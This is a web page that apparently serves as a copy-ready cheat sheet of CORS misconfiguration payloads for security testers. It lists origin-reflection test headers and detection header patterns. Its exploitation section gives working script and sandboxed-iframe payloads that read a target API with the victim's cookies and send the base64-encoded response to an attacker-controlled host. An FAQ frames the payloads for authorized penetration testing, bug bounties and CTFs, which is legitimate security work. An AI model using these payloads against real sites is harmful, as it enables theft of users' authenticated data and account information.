Skip to content
Payload Playground

CORS Misconfiguration Cheat Sheet

CORS misconfiguration exploitation payloads for origin reflection, null origin, and wildcard subdomain attacks. (13 payloads)

Build custom CORS payloads in the CORS Misconfiguration generator

Origin Reflection Tests

(5)
Origin: https://evil.com → check if Access-Control-Allow-Origin echoes it
Reflected origin test
Origin: null → check if null origin is allowed
Null origin test
Origin: https://trusted.com.evil.com → subdomain suffix match
Subdomain suffix confusion
Origin: https://eviltrusted.com → prefix match
Domain prefix confusion
Check if Access-Control-Allow-Credentials: true with reflected origin
Credentials + reflected origin = critical

Exploitation PoCs

(3)
<script>fetch("https://TARGET/api/sensitive",{credentials:"include"}).then(r=>r.text()).then(d=>fetch("https://ATTACKER/log?d="+btoa(d)))</script>
Steal data via reflected origin
<iframe sandbox="allow-scripts" srcdoc="<script>fetch('https://TARGET/api/sensitive',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://ATTACKER/log?d='+btoa(d)))</script>"></iframe>
Null origin exploit via sandboxed iframe
Host PoC on subdomain of trusted domain if wildcard CORS configured
Subdomain takeover → CORS exploit chain

Detection Headers

(5)
Access-Control-Allow-Origin: *
Wildcard — no credential theft possible
Access-Control-Allow-Origin: * + Allow-Credentials: true
Invalid but some servers misconfigure
Access-Control-Allow-Origin: <reflected> + Allow-Credentials: true
CRITICAL — full credential theft
Access-Control-Allow-Origin: null + Allow-Credentials: true
Null origin with credentials — exploitable
No ACAO header → not vulnerable to CORS attacks
Safe — no CORS misconfiguration
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the CORS Misconfiguration Cheat Sheet?+

It's a quick-reference collection of 13 CORS payloads for testing CORS Misconfiguration vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these CORS payloads?+

Copy any payload straight into your authorized test, or open the CORS Misconfiguration generator to build customized CORS variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these CORS payloads free to use?+

Yes — this cheat sheet and all CORS payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/cors) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.